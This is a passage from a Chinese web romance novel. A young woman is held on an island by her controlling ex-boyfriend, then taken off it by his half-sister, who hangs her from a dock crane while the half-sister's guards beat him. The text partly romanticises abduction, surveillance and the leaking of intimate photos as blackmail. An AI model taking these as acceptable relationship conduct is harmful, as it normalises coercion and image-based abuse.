温纾莱呼吸顿急,手只来得及抓住他的头发:“不要……” 这时候她说什么做什么都显得是欲拒还迎。 花洒淋漓浇下,水雾越积越多, 两人都被打湿个彻底。 宗昂太了解温纾莱的敏/感点,攻势又迅猛,不需多会儿,温纾莱的身体就背离她的立场,反馈给他,他最渴望的奖励。 嘴巴会说反话,吐出戳心窝的刀子,但生理反应不会骗人。 性/爱有时就是破冰的唯一途径。 到这儿,宗昂再次扬起脑袋:“怎么样?” 他在求夸奖,如果他有尾巴,此刻一定会晃出虚影。 温纾莱后背紧靠着瓷壁,说不出话。 宗昂又轻轻亲了下那儿,趁热打铁地问:“要继续吗?我们很久都没有了,你也很想吧?” 自温纾莱提分手那天起,两人连接吻都是奢侈,宗昂每晚抱着她睡觉都快憋疯,他从不掩盖他对温纾莱的欲/望,但是上次他差点犯错,此后他便设上警钟,要想做,就一定要征得温纾莱的许可。 漂浮的感知缓缓落地,温纾莱缓过劲,蜷起手,指甲重重扣着掌心,蓄力放下腿:“不想,你想就去找别人,别对我发/情。” 说完,像个提上裤子不认人的渣男一样赤脚走出淋浴间。 宗昂还跪着,他肩背笔挺,水珠顺着肌理滑落。他转过脸看温纾莱,解释:“不会找别人,我只对你这样。” 温纾莱左耳进右耳出,在架子上拿下一件浴袍披上,开门去了另一间浴室。 温纾莱洗完就就近在旁边的房间躺下,宗昂过很久才找过来,想也知道他这么慢是干过什么。 宗昂熟练地缠住温纾莱,八爪鱼那样后拥着她,表忠心道:“你不要我我也不会去找别人,我只认定你。” 在他做出那么多不可挽回的事情后,他的表白只剩荒谬可笑。 温纾莱当做没听见。 宗昂也不气馁,亲了亲她的头发,揽着她心满意足地睡去。 一夜无话,同床异梦。 一连几天,两人都在岛上过着循环往复的日子。 说无聊也不算无聊,宗昂缴没了她的手机和电脑,但别墅里有个家庭影院,温纾莱这几天把各类电影都看了个遍,阅片量蹭蹭蹭直线上涨。 宗昂跟她说过让她不用担心,在来之前他已经跟舅舅舅妈打过招呼,说是要带她去旅游,每天也都有发行程报备。 温纾莱自是不担心,宗昂做事向来周全,不会给人留下把柄,也就在她这里摔过跟头。 她只是很焦躁,她还没找到离开这座荒岛的渠道,也不清楚这座岛屿的详细地理位置,就算靠她徒手游回家都不知道该往哪个方向游。 要想走,就只能如宗昂的愿——不分手,还恋爱,回到过去。 温纾莱偏不要,她的倔劲儿一上来也很难搞。 她想过自残逼宗昂放过她,这念头只在脑中闪了下就没了,先不说宗昂就不值得她伤害自己的身体,重要的是她怕疼,对自己下不去手。 就这样像只金丝雀一般在岛上虚度着光阴,大约是日子一久宗昂确定温纾莱跑不掉,警惕心下降,某一天,温纾莱见到了登岛以来,除她和宗昂之外的第三、四个人。 是一个头发掺杂着银丝,穿着制服的儒雅老者,和一个人高马大的光头男。 光头男正在游艇上往下搬东西,有蔬菜水果这类的食材,也有些生活必需品。 老者在跟宗昂交谈着,模样看上去熟稔中带着点慈爱,宗昂就漫不经心地听着。 忽地,老者抬眸朝二楼露台处望。 温纾莱跟他对视上,他冲温纾莱笑了笑。 他们二人没有多待,送完东西就走了,他们只开走了一辆游艇,还有一辆停在岸边。 温纾莱下楼,宗昂在一样一样归置送来的物品。 见到她,宗昂在满地大大小小不同材质的袋子中拎起几个纸袋:“给你又买了些衣服,都是你喜欢的风格。” 纸袋上有的印着些耳熟能详的牌子,有的是小众品,总归都不便宜。 温纾莱意兴阑珊地接过:“我又接触不到别人,这么多衣服穿给谁看?” 温纾莱以为宗昂会说穿给他看,结果他却说:“穿给你自己看,你打扮漂亮不是为了要取悦别人,是要让自己开心。” 说再多,不放她走,也都是冠冕堂皇的托词。 温纾莱一哂:“我被你关在这里就不会开心。” 宗昂看看她,折身接着去规整东西了。 这个话题他们循环过好多次,可谁都不会退让,才僵持不下。 在这岛上生活最大的优点就是作息规律,一日三餐定时定点,宗昂变着花样做好吃的,温纾莱成功被他养胖好几斤。 按照前几天的流程,吃完饭温纾莱要么是去睡觉要么是去看电影,活动范围仅限在别墅里。 今晚吃完,宗昂问她要不要出海去玩玩。 “海上的夜景不错,去看看吗?” 难怪留下了一辆游艇。 温纾莱没闲情跟他去赏景,但整日一成不变的内容枯燥无味,难得能有个机会丰富一下,她沉吟片刻,点头。 海上风大,她回屋换了一身长袖长裤,宗昂又多拿了一件厚外套。 两人上了游艇,宗昂纯熟地操作起来。 温纾莱忍不住发问:“你会开?” “会啊,我上小学的时候吉恩就教过我。”宗昂介绍着:“吉恩就是下午来送东西的那个老头,他年轻的时候是我外婆的助理,退休之后就成了我的专职保姆,经常去学校替我收拾烂摊子。” 吉恩很厉害,宗昂的很多技能都是吉恩教授,是他周围为数不多诚心诚意待他的人。 说是保姆,宗昂也是当长辈敬重。 “我还会开飞机呢。”宗昂回头,在心爱之人面前疯狂展示他的用处:“改天带你飞一圈。” “你好好开,别看我!”温纾莱抓牢扶手。她确信宗昂不会让她遇险,可他这么三心二意地开着,她恐慌。 “哦。” 开到大海中央,宗昂熄停游艇,拉着温纾莱上甲板坐着。 夜景是很美,满天繁星仿若触手可及,偶尔还有几只海豚跳出水面。 温纾莱俯身,手伸进海中,一只小海豚亲人地一跃而起,嘴尖亲到温纾莱的脸,还带起一片水花。 温纾莱吓了一跳,惊呼出声,始作俑者捣完蛋摆动着尾巴跟上大部队,宗昂探身从舱内取了条干净的毛巾抹净温纾莱脸上的水。 “喜欢的话我明天让吉恩送两套装备来,我教你潜水,还能看到鲨鱼群。” “不用了,太麻烦了。” “不麻烦,多点娱乐活动省得你天天闷在屋里看电影没意思。” 温纾莱得空就要强调她的诉求:“你放我走才最有意思。” 风渐大,宗昂给温纾莱披上外套,“这件事我们不是讨论过了吗,只要你改变主意我们就走。” 许是真的走投无路,也许是今晚景色太过宜人,氛围恰好,温纾莱想要和宗昂认真谈一谈。 她问:“宗昂,你是不是觉得我很小题大做?” 宗昂说没有。 温纾莱自有定论,她否定宗昂的违心答案:“你有。” “你从来都不是真的悔悟,你道歉、一再要我给你机会无非是因为你以为这样就能翻篇,就能跟我和好,当你发现你的示弱已经不管用了,就把我绑走。” 宗昂张嘴欲辩,温纾莱一个主动牵手的动作让他老实下来。 “我说过我们之间是不平等的,我的过去你了如指掌,你的过去我只能听你说你想告诉我的那个版本。” “你想知道什么你问,我不会再骗你。” “我想表达的重点就只在第一句。”她重申:“我们的差距很大,大到我很多时候都在仰视你,你的掌控,你所有的行为都在加深我们的不平等,让我觉得我不是一个独立的人,是你的玩物。” “你可能不觉得,因为你习惯了众星捧月,要风得风要雨得雨,所以你没办法共情我的自卑,想对我做什么就做什么。” 她终于侧目看他:“你永远都不会尊重我,就是我要跟你分手的根本原因。” 第59章 第 59 章 纸条 这是事发后, 温纾莱第一次跟他心平气和地聊天,也是第一次跟他深入交涉。 宗昂并不为她的敞开心扉而喜悦,相反, 他有种怎么都抓不住温纾莱的无力感。 于是他握紧她的手, 以此来证明她还在他身边。 “可能你说得是对的, 我从小的生活环境教给我的就是要把所有都掌握在自己手里,想要什么就要不惜一切代价去争取。”宗昂也是第一次和除他之外的第二人剖白自己的内心, 他语速放慢很多, 思考着该怎样表述:“可我不觉得这是错的,我想要的我就要得到,满足自己的欲望有什么不对?” 他很苦恼。 他随口就举出一个例子:“你不是也会为了你想要的奖学金努力吗。” “这两者本质是不一样的。”温纾莱长发被海风吹得凌乱, 她忘带皮套, 只能用空闲的手拢着, “我去争奖学金没有伤害到别人, 你在不伤害别人的前提下满足自己当然也可以。” 宗昂在自己手腕上撸下一个最简约款的纯黑发圈给她。 女生的感性大于理性, 是很容易被一些不起眼的细枝末节迷惑, 哪怕在这样分崩离析的境况中,宗昂随身携带她的物品这一点,温纾莱仍然有些小触动。 她接过,绑好头发。 宗昂憋了又憋, 不太甘心地小声嘀咕:“你拿到了奖学金别人就不会拿到, 这不还是损害了别人的利益。” 温纾莱就多余开启这番谈话。 她早该明白, 两个人的成长环境截然不同, 塑造的三观自是也天差地别, 凭她几句话就妄图扭转宗昂已经定型的观念,是痴人说梦。 “那你就去找一个能接受你掌控的人谈恋爱,那个人绝对不会是我。”温纾莱屈起一条腿, 手往后撑了下甲板站起来:“回去吧,我累了。” 又是一次不欢而散。 这场纠缠早已困于死胡同,破局的办法要么是堵在前面的高墙坍塌,开出一条新路,他们继续你追我赶,要么是谁退一步。 可他们都坚信自己最为正确,谁都不会低头服输。 那就这样吧。 得过且过。 温纾莱又摆烂了。 寒假半个月之后就是除夕,他们的“旅游”到那时怎么着都该结束,退一万步讲,就算大团圆的节日她不现身,宗昂能糊弄过去,等到下学期开学她还不在,于情于理都说不过去。 只不过到那个时候,她和宗昂间的情感纠纷会闹得人尽皆知,很麻烦。 温纾莱一半烦闷一半淡然。 回别墅后,她径直上二楼房间,从下午送来的袋子里拿出一套换洗衣物去浴室冲澡。 上次她洗澡宗昂不打一声招呼闯进来,她两天没理他,自此以后他就不敢再动歪心思。 温纾莱洗完擦干身体穿好内衣裤就要吹头发,她以前睡觉不会穿内衣,嫌勒,现在基本是全副武装,不给宗昂丝毫遐想。 虽然他要强来的话她也抵御不住。 抬臂时,胸侧最柔软的部位有种说不出的怪异,以为是没穿好,脱掉内衣重穿。 怪异感犹在,像有什么偏尖锐的东西在刺她。 二次脱下,她检查着杯面和搭扣带子的连接处。 两边手感摸着不一样,一边的里面似乎塞着异物。 温纾莱不是刨根究底的性格,但在岛上太无趣,她连蚂蚁搬家都能看个把小时,现下碰到个怪事,她势必要一探究竟。 宗昂是拘着她,但该有的不该有的物品都一应俱全,温纾莱在浴室柜里拿出一个化妆包翻了翻,找到一枚刮眉刀,沿着缝制的方向划破针线。 塞在里面的是一张折了两折的纸条,刺挠她皮肤的就是其中一个折角。 温纾莱心跳莫名加快,这种时候她收到个这样的东西——她近日来的境遇还真奇葩,先是上演一出囚禁戏码,现在又搁这儿拍谍战剧。 她一个戏文专业生都编不出这么狗血的剧情。 屏息打开纸条,上面是一行歪歪扭扭,丑到出奇的中文字:嗨,小可怜,听说你被关起来了,想要离开的话可以打我电话,不需要说话,响一声就好,我会帮你。 附带一串手机号码- 纸条是谁写的? 号码的所属人是谁? 为什么要帮她? 这三个问题温纾莱琢磨了三天。 但能肯定的是,能在宗昂的严密看守下将纸条递进来,还大费周章地塞在内衣里,那么那个人一定有所图谋。 图谋的对象不是她就是宗昂。 宗昂的概率偏大些,那行中文字写成那副丑样子,一看就是外国人。 温纾莱只见过宗昂在国内的朋友,对他国外的圈子一无所知。她猜不到对方帮她的目的是什么,但她真是受够在岛上的日子,没有一天不想逃离。 这下有个送到眼前的契机,她思索再三,选择赌一把。 打电话首先得有手机,她的电子设备都被宗昂拿走,大概是怕她不平衡,宗昂也不会当着她的面玩手机、电脑之类,就专心陪她。 她先前没要过手机,是知道宗昂不会给,她懒得白费口舌,这会儿突然索要,她得编一个不会令他起疑的理由。 想来想去,最后决定搬出她爸妈。 那天中午,宗昂在厨房忙活午饭,温纾莱进去找他。 “手机给我,快过年了,我回不去,得给墓园的人打个电话让他们给我爸妈买点东西。” 温纾莱很少撒谎,但她越是心里乱就越是面上镇定。 “要买什么?”宗昂闻言十分上心:“我安排人去买。” “所以我现在是连亲自为我爸妈做点事的权利都没有了吗?” 是编造的借口没错,但温纾莱生气是真的。 宗昂讲明:“我不是那个意思,我是怕墓园的人买不好。” “我经常拜托他们买东西,你的人去办我才怕买不好。”温纾莱说:“你要是不放心怕我跟别人联系,就随便给我一部手机,再把我手机通讯录里‘张叔’的手机号抄下来。” 她话都说到这份上,宗昂不会那么不识趣。 他洗净手,让温纾莱坐着等他一会儿。他走向客厅外的那条走廊,再回来,手里拿着他的手机和一张纸。 温纾莱嘲讽一嘴:“你对我还真是言听计从。” 宗昂不逞口舌之快,折返回厨房做饭。 温纾莱争分夺秒。那张纸条她看完就冲马桶了,凭着记忆输入那一串手机号码,拨通后响了两声就挂断,删除通话记录,再拨给墓园的工作人员。 她通话的全程宗昂都待在厨房没出来,打完,温纾莱把手机上交,然后回楼上看电影。 宗昂听着上楼的脚步声消失,放下水果刀,拿起他的手机,点开通话记录,想了想,切成另一张电话卡回拨过去。 “你好,请问是福骏园吗?”他瞎扯:“我想买块墓地。” “那你打错电话啦小伙子,我就是个守陵的。”是一道上年纪的男人声:“我给你个电话,你打那个咨询。” “好。”宗昂听他报完号码,礼貌道谢挂断。 …… …… 温纾莱在忐忑中等待着,收到那张纸条已经过去三天半,她不知道还管不管用。 第二天上午,温纾莱正躺在屋外的躺椅上,用草帽盖着脸晒太阳,宗昂过来跟她说他临时有件急事需要去处理一趟。 他身后跟着来送物资的那个光头男。 “你要有什么事情就找他。”宗昂捏捏她的掌心:“我下午就回来。” 温纾莱直觉他这次出去是与她打的那通电话有关,若无其事地点头:“哦。” 其余一个字不多给,很符合她上岛以来的作风。 宗昂走后,光头男也不说话,就保持着一定距离守着她,温纾莱晒太阳晒得昏昏欲睡,她没法安心在一个陌生男人面前睡觉,纵使他是宗昂留下的人。 回楼上躺下后不久,一楼传来响动,温纾莱轻手轻脚走到楼梯口,和吹着泡泡糖要上楼的一个女人打个照面。 女人很漂亮,是那种直击灵魂的客观美,古铜色的肤色,一头类似芭比娃娃的金发,耳垂脖颈都戴着单看会很夸张可放在她身上就跟相得益彰的配饰。 对方被她的悄无声息吓到,捂着胸口倒退,嘴里蹦出一句不在温纾莱涉猎范围内的语言,听音调像是意大利语,温纾莱听宗昂讲过。 两人一高一矮,隔着楼梯相互对望。 女人率先出声,一口蹩脚的中文发音:“嗨小可怜,我们终于见面了,你果然没有辜负我的期望。” 温纾莱问:“你是谁?” “哦对,我还没有自我介绍。”女人撩撩头发,跨上几层台阶,伸手:“你好,我叫Elena,是Leone,就是宗昂的姐姐。” 第60章 第 60 章 替身 宗昂大致透露过他妈妈那边的家庭构成, 埃琳娜的爸爸和他妈妈是同父异母的兄妹,宗昂又是个混血,所以他们姐弟两个的容貌找不出一分相像。 但温纾莱不会怀疑, 没有什么比离开这座岛屿更为重要的事情, 管埃琳娜是宗昂的姐姐还是妹妹。况且是她自愿接住埃琳娜抛来的橄榄枝。 温纾莱和她礼节性地握握手。 埃琳娜笑笑, 打个响指:“我们走吧,一会儿Leone回来就不好玩了。” 她可是专门为宗昂设置了惊险又有趣的项目等待他去闯关, 可不能在这座破岛上浪费时间。 “我要去找我的电脑和手机。” 这两样东西是温纾莱的命根子, 储备着她从大一就积累的各种素材。 “了解。”埃琳娜侧身朝楼梯下看了眼。 一个黑衣保镖适时双手上捧,纯色双肩包打底,上面摞放着一台笔记本电脑和两部手机。 埃琳娜手指过去, 回问温纾莱:“是那个吗?” “是。”温纾莱迈下台阶:“谢谢。” “不客气, 我最爱笑着助人了。”埃琳娜在温纾莱下到和她同一层台阶时, 自来熟地牵起她往下走。 她突如其来的触碰致使温纾莱都没发觉她说了个不伦不类的自创成语。 温纾莱不喜欢和不熟的人有肢体接触, 扭动手腕:“你可以放手吗。” 埃琳娜讲话时的语调抑扬顿挫, 情感很充沛:“我怕你摔倒嘛, 你这么瘦,禁不住风吹的样子。” 温纾莱是典型的南方娇小的体型,估计只有跟小孩子站一起才会显得高大,和比她高的人并排走就是他们的人型拐杖。 她们宿舍一行人出门逛街, 孔佳茉她们最常说的一句话就是:莱莱过来, 给我搭一会儿。 温纾莱婉言谢绝埃琳娜的“好意”:“不必, 我走路很稳。” “OK。”埃琳娜很好说话。 下楼接过一应物品, 温纾莱以最快的速度检查了一下电脑和手机是否开机正常, 随埃琳娜往外走时经过沙发,温纾莱余光一顿,侧过头。 看见沙发前那个躺姿诡异的光头男。一条腿的小腿朝外翻屈着, 同侧的胳膊也是一样。 “他?”温纾莱说了一个字就止住。因为她也不知道自己该怎么问。 “谁?”走在最前方的埃琳娜闻声停步,顺着温纾莱目视的方向巡去:“哦,他死掉了。” 温纾莱的脸刹那间唰白。 “你还真信啦?”埃琳娜乐不可支:“你也太单纯了,我说的那么假你都信,怎么可能呢,我们都是守法公民,不会做杀人放火的事情的。” 埃琳娜贴心地隐瞒起来光头男晕倒的真相,断胳膊断腿后被打晕的这种形容太血腥太暴/力,会吓到这个弱不禁风的中国女孩。她看起来真的很柔弱,埃琳娜罕见地冒出一丝丝怜惜之情。 埃琳娜自认委婉的说辞反而更令温纾莱惶恐不安,她开起玩笑、提起人命时是那么轻松又满不在乎。 “哎呀。”埃琳娜为自证清白,一把攥住温纾莱的手腕,带着她去探光头男的鼻息:“还有呼吸呢,这下你总信了吧?” 微颤的手指感受到不太平稳又有些孱弱的呼吸,地板上也没有血迹之类的危险痕迹,温纾莱骤松一口气。 “快走快走,后面还有好玩的在等我们。”埃琳娜勾着她肩膀半推半拉地带她登上停在沙滩的那架私人直升机。 螺旋桨发出嗡鸣的噪声,短暂的失重感过后,地面远去,整座岛屿的全貌逐渐显现。 岛屿四面环海,湛蓝的的海水像是剔透的水晶。 在上空俯瞰,岛屿的西南方向就是连片的大陆,距离不过一个手掌宽窄,可温纾莱在岛上无论如何都眺望不到尽头。 温纾莱在埃琳娜恶作剧的恐吓中回过神,问出她最想问的问题:“你为什么要帮我?” “我说了嘛,我就是喜欢帮助弱小嘛。”埃琳娜笑嘻嘻的,帮助弱小是她在见到温纾莱后刚刚增添的兴趣,给宗昂添堵是她记事起就有的爱好。 埃琳娜不愿说实话,温纾莱追根究底也问不出来,她换下一个:“那你是怎么知道我的?” 这个问题埃琳娜估计会如实相告。 果然,她自豪又骄傲地抬抬下巴:“我很早就知道你了,你们恋爱、分手,再到他带你去岛上,在我这里都不是秘密。” 埃琳娜去年谈了一个男朋友,两人热恋期忙着柔情蜜意,她和宗昂的争斗也就暂告一段落。可就在一个月前,丹尼尔——也就是她的爸爸,下令让她分手,乖乖回家相亲。 埃琳娜出生起就知道她有很多自由,比如想去哪里就去哪里,想买什么就买什么,但她也有很多不自由,比如爱情、比如婚姻。 她享受奢靡的生活,也欣然接受家里的安排。 就是相亲过程太无聊,她便想起自己还有个可以供她取乐的弟弟。 小小调查一番宗昂在国内的情况,看宗昂过得那么如鱼得水,埃琳娜心理失衡,也要给宗昂找找不痛快。 但还没等她谋划出个所以然,宗昂就陷入情感危机了。 埃琳娜听后笑了半天。 紧接着又得知宗昂发癫把他提分手的小女友带到他的岛上与世隔绝,埃琳娜觉得,她该出手了。 温纾莱不无讽刺:“你们真不愧是一家人。” 监视的手段都如出一辙。 埃琳娜嫌弃道:“如果可以,我一点都不想跟他成为一家人。” “你既然早就知道岛的位置,为什么还要我打电话?”温纾莱还寻思是埃琳娜要通过她拨出的电话查找IP属地,现在看来不然。 “因为就是要你配合才有意思啊。”埃琳娜讲述着游戏规则:“想一想,宗昂那么喜欢你,你却联合我这个他最讨厌的姐姐逃走,多好玩,他会被气死的。” 他们这种家庭出生的兄弟姐妹,注定不能友爱和睦,竞争是他们从小到大都在进行的课题。 设想一下宗昂气急败坏的场面,埃琳娜当即修改今天的食谱,减肥延后一天。 她要庆祝她的大获全胜。 温纾莱不在意宗昂会不会气死,她不似埃琳娜那样有报复的快感。即使宗昂做了很多她不能原谅的事,她也没精力去追究了。 成事不说,遂事不谏,既往不咎。 既已成定局,再去纠结又有什么用。 她只求赶快了断这段疲顿的感情。 直升机的飞行高度较低,大海、群岛、陆地上的建筑尽收眼底。 温纾莱望着窗外波澜壮阔的风景出神,埃琳娜在打量她。 这个中国女孩长得很漂亮,没有攻击性的柔软中透着少女感的甜美,很能激发人的保护欲。 埃琳娜从她对面挪坐到她旁边,托腮瞧她:“你长得好可爱,好像布偶娃娃,难怪Leone会喜欢你。” 温纾莱无声以对,静等她的下文。 “Leone的审美就是这样的,之前那个叫郑茹的中国女孩,还有如今的你,都是一个类型的。”埃琳娜若有所思:“仔细看看,你们两个还有点像诶。” 温纾莱提炼归纳:“你的意思是我是郑茹的替身?” “看你怎么理解咯。”埃琳娜摊手,“不过我猜,你一定不知道郑茹为Leone流掉过一个孩子。”- 宗昂察觉过来是埃琳娜给他下的套引他出岛后,为时已晚。 他匆忙返回岛上,只看到半靠在沙发上,一侧手脚瘫软的马克。 马克就是宗昂留下的那个光头男。 他是个聋哑人,也是个孤儿。 宗昂在楼下路边捡到他的时候他就已经是这样,宗昂本来就是一次大发善心,把发烧的他送去医院,交了充裕的住院费就做好事不留名地走了。 结果第二天他下课回公寓,马克蹲守在那里堵他。 那时宗昂刚上小学,埃琳娜一次捉弄他,把他拐到荒无人烟的郊外,吉恩找了一天一夜才找到他。 为保障他的人身安全,莉娅要给他派保镖,宗昂最烦有人跟着他,可莉娅说一不二,宗昂推拒不了就讲条件,说保镖的人选他来定。 于是便把缠上他的马克推出去。 马克这个名字是他自己根据一个电视剧人物取的,他比宗昂大四岁,没上过学,所学那点知识的唯一用途就是用来保护宗昂。 卡洛斯和家里决裂搬到纽约生活后,马克就顶替卡洛斯的地位荣升为宗昂狼狈为奸的另一伙伴。 时不时就被他派去做些偷鸡摸狗的勾当。 监/视温纾莱就是其中之一。 但宗昂并不认为那是监/视,他觉得那是保护。 马克聪明的不和老板置辩,宗昂怎么说他就怎么做。 见宗昂回来,马克掏出手机,费力用完好的右手在备忘录打字:「对不起,我失职了,你可以随便扣我工资。」 宗昂上前看了看他的胳膊和腿,打了个“没事”的手语,示意他不要自责。这件事全责在他,是他只顾着挽回温纾莱,忘记还有埃琳娜那么个烦人精。 他掉以轻心了。 宗昂先打电话叫人来送马克去医院,随后就收到一张照片。 温纾莱侧躺在沙发上,挺安详地闭着眼。 不知是在睡觉还是昏迷。 宗昂直接拨给埃琳娜,他笃定埃琳娜在等他联系,但她偏要拿乔,直到忙音最后一秒才接。 宗昂问:“你把她带哪去了?” 埃琳娜卖关子:“你猜?” 宗昂没空陪她兜圈子,他淡着嗓放话:“你最好别乱动,她要是有个什么三长两短,明天你社交圈的所有人都会收到你和不同野男人上床的照片。”【你现在阅读的是 】 60-70 第61章 第 61 章 坠海 什么三长什么两短, 哪三长哪两短? 埃琳娜听不懂,这个Leone在他爸那里又是学的什么新鲜词语。但结合语境判断能确认的是,那不是在骂她。 宗昂刚被她姑姑莉娅带回意大利定居的时候常说中文, 埃琳娜听着起了兴, 颐指气使地命令宗昂教她几句日常用语, 宗昂甩她一句“傻逼”,埃琳娜问是什么意思, 宗昂说是你好。 然后埃琳娜就上当了, 第二天去学校见到喜欢的那个华裔小男孩跟他用新学的中文问好,小男孩用异样的眼神看她一眼,走开了。 从此以后再也没理过她。 后来埃琳娜才知道, 傻逼是骂人的意思。 过往小事不值一提, 埃琳娜定定心神:“你敢!” 他的宝贝小女朋友就在她手里, 他难道不应该立刻跪地求饶, 还敢用这样高高在上的语气跟她讲话? “我的照片爆出去搞砸我的名声, 对你有什么好处?” “能让我爽啊。”宗昂漠然地轻笑一声, 不再理会听筒里埃琳娜疯婆子一般的吼叫,挂断。 一家人关起门来掀翻天都没关系,就是不能闹到外面去让外人看笑话,一个家族一荣俱荣, 一损俱损——这是宗昂的外公定下的规矩。 宗昂觉得很虚伪。 内里腐烂, 外表再打扮的光鲜亮丽也会露出端倪。 他们那个圈子里谁家是一派亲睦?大家见面和和气气, 其实都心知肚明各自家里一堆乌七八糟的烂事。 他先前乐意遵守这条规矩是他的底线没有被触及, 埃琳娜这次不知死活的越线, 他凭什么还要给她留脸? 将他收集来的那些埃琳娜和各样男人的亲密照打包。 照片传到他这里他一张都没看过,怕长针眼。 这份罪还是让别人去吃。 他先发给他那个古板的舅舅一份。 …… …… 温纾莱是被晒醒的,她身上还是那件在别墅时穿着的湖绿色连衣裙, 吊带款式,细长的胳膊暴晒在烈日之下,烧灼感强烈。 伴随着一种浑身被拉抻到极致的酸胀,她双臂高高拽起,粗糙的麻绳捆着她的手腕,脚尖要落不落地点着地面。 视线被阳光刺得模糊,她用力眨两下,恢复清明后观察四周。 目之所及是错落摆放的集装箱,她右侧是码头,左侧是汪洋大海。 而她,正被吊在岸桥上。 两三米外那个狭小的操作间里坐着一个保镖,一丝不苟地守着她。 怎么来到这里的,又是怎么搞成现在这幅模样,温纾莱毫不知情。 在飞机上埃琳娜说完那句“郑茹为宗昂流掉过一个孩子”就闭口不谈,十足吊人胃口,温纾莱索然无味地不接茬,埃琳娜没得到理想中的回应,反倒坐回对面生起闷气。 温纾莱能骗过埃琳娜,却骗不过自己,她抑制不住地胡思乱想。 宗昂和郑茹到底有过什么? 那个孩子是不是宗昂的? 那部烂尾的电影终于拨云见日,深埋的伏笔浮出水面。 她就说,为什么当初在听完宗昂解释郑茹的患病原因时有种不上不小虚浮感。 原来是另有其致命因素。 那宗昂岂不是又一次骗了她。 纵然这段恋情已经被她画上句号,温纾莱也还是会为宗昂的欺骗有所波动。 想要从宗昂嘴里听到一句实话,可真是艰难。 她越想越头疼,最终支撑不住地睡过去。 再睁眼,就是现在这幅惨样了。 温纾莱的扭动引起操作间保镖的注意,他拿出手机贴到耳边。 温纾莱听不清通话内容,只见保镖嘴皮子动两下,继而迈出操作间朝她走来。 开了免提,埃琳娜的声音自扩音器飘出:“嗨小可怜,你不用害怕,我只是需要你配合我吓唬一下Leone,我的保镖会保护你的安全的,你放心。” 虽然宗昂和埃琳娜的相貌挑不出相似之处,但他们姐弟二人的行事作风可真是一般无二。 都是长着人样说着人话,却不干人事。 一道轰鸣声自地面和手机里一同响起,一辆白色迈凯轮P1从码头另一端疾驰过来,一个打转,轮胎摩擦水泥地发出尖锐的响声。 车子斜停的一瞬间,驾驶位车门打开,宗昂下车。 电话未挂,埃琳娜招呼温纾莱:“他来了他来了,你好好听我怎么刁难他,这次我要一起为我们两个出气。” 温纾莱不清楚她被吊了多久,太阳烤得她嗓子冒烟,说话都困难。 她低下头,半张脸掩在胳膊后面,偷得一处阴凉。 温纾莱的视野约莫是有死角,她找不到埃琳娜在哪儿,只能看到宗昂目标明确地朝一个方向走。 下一秒,有一个黑衣保镖从一个集装箱后面走出,拎着一个棍子,径直挥向宗昂。 温纾莱瞪大眼,下意识想喊宗昂,可喉咙堵塞肿痛。 宗昂反应也快,一脚踹在那人的肚子上,避开那一击打。 埃琳娜不满地叫喊:“诶诶诶,谁让你还手的,这局游戏的规则就是你要让我打到满意为止。” “你那些照片是还想我再曝给第二个人吗?”宗昂一路找到这儿,紧绷的心弦就没松过,他气息微喘,嗓音沉冷:“你未婚夫怎么样?” “你还敢!”埃琳娜暴跳如雷。十几分钟前她爸一通电话给她骂得狗血淋头,说她什么时候把烂摊子处理干净什么时候再滚回家,还停了给她的那张副卡,未来一个月她花钱都将限额。 全都是宗昂干的好事! “你看我敢不敢。”宗昂问:“温纾莱在哪?” 他一连找了好几个埃琳娜可能会在的地方,都扑了空,最后才找到这里。 埃琳娜愤懑的口气一改,拿回主场的游刃有余道:“你都找到这里了,怎么不抬头看看呢。” 似有所感,宗昂倏尔抬眸。 隔着几米远,他在烈日当空下精准捕捉到温纾莱的身影。 她湖蓝色的裙摆在空中摇曳。 柔软得不堪一击。 宗昂一个箭步就要冲向埃琳娜,被保镖拦住,他眉眼间一片狠戾,脖颈青筋暴起:“你是不是找死?” 埃琳娜碎步撤退,远离Leone这头发疯的狮子,她说:“我又没怎么样,还派专人保护她,但是你要是再让我不开心,我就不敢保证她会不会——” 她双指并拢做出一个抛物线的手势:“噗通,掉下去了。” 宗昂双拳紧握,咬牙问:“你想怎么样?” 埃琳娜摊手:“很简单啊,先让我揍一顿。” “好。”宗昂不假思索地应下:“你先放她下来。” “那不行,万一她下来你就反悔了呢。” “我不会。” 埃琳娜竖起一根食指左右晃晃:“Leone,你要知道你现在是没有资格跟我谈条件的。” 他墨迹一秒钟温纾莱就多难受一秒钟。 宗昂甩开保镖对他的阻挡,身姿笔挺地站在那儿:“那你来。” 埃琳娜勾勾手指,示意保镖们行动。 揍人那么粗鲁的事情,她一个名媛淑女可做不来。 保镖们收到指令,纷纷拎起手中的棍子往宗昂身上抡。 利器划破空气撞击皮肉的闷响,宗昂忍痛的低哼,还有埃琳娜雀跃的口哨声,齐齐通过手机传递至温纾莱这边。 温纾莱听宗昂讲过埃琳娜抢过他的麻雀也偷过他的狗,在此之前她还天真地以为他们姐弟两个只是互看不顺眼的小打小闹,埃琳娜最多就是助她逃离给宗昂制造点烦乱,再不济就是藏她几天让宗昂焦头烂额上门求她。 可眼下的情形全然颠覆她的认知。 她无论几时都想不到有血缘关系的一家人会这么下狠手。 她在筑城老家的楼上那户邻居是一对年迈的老夫妻,育有一儿一女,儿女为争夺家产反目成仇,但最过分也只是唇枪舌剑的过过嘴瘾。 不及宗昂和埃琳娜之间的万分之一。 她渴得厉害,气若游丝地挤出一个音节,声音刚溢出嘴边就被风吹散在空中。 宗昂身上那件白色T恤的血色越来越多,他就不还手地等在那里,随埃琳娜出气、发泄。 最终支撑不住地跌倒在地。 埃琳娜叫停。 宗昂单膝跪地,手肘撑着膝盖,咳嗽出一口血水:“放她下来。” “我会放的,但还要再等等。”埃琳娜蹲到他跟前,做些亮色美甲的手托着脸颊,“现在我们来进行第二项吧。” “我要你给我跪下道歉。” 她拿出手机点开摄像模式:“道完,我立马放她下来。” 通话持续着,他们的一字一句都实时送进温纾莱耳中。 听到埃琳娜的这一句要求,温纾莱像是被触发到关键词,衰软的身体竭力挣动:“宗昂!” 她记起那次她故意激他,说他还不如余泽帆,余泽帆求她好歹是跪下求的,那都是气话。 她太知道宗昂的骨头有多硬、多傲,他自持甚高,道歉都很是金贵,却总是会向她低头。 温纾莱很护短,她只能接受他对她一个人低头。 现在要宗昂因为她,向他最讨厌的人以那样屈辱的方式认输,温纾莱气得眼红。 这一刻,她无比后悔联系埃琳娜。 她终于喊出宗昂的名字,宗昂也终于听到她的声音。 他仰头望她,汗水递进眼中,又酸又刺,他安慰她:“我在呢,别着急。” 温纾莱踢着腿,明知是徒劳无功,她还是在挣扎:“不许答应她!” 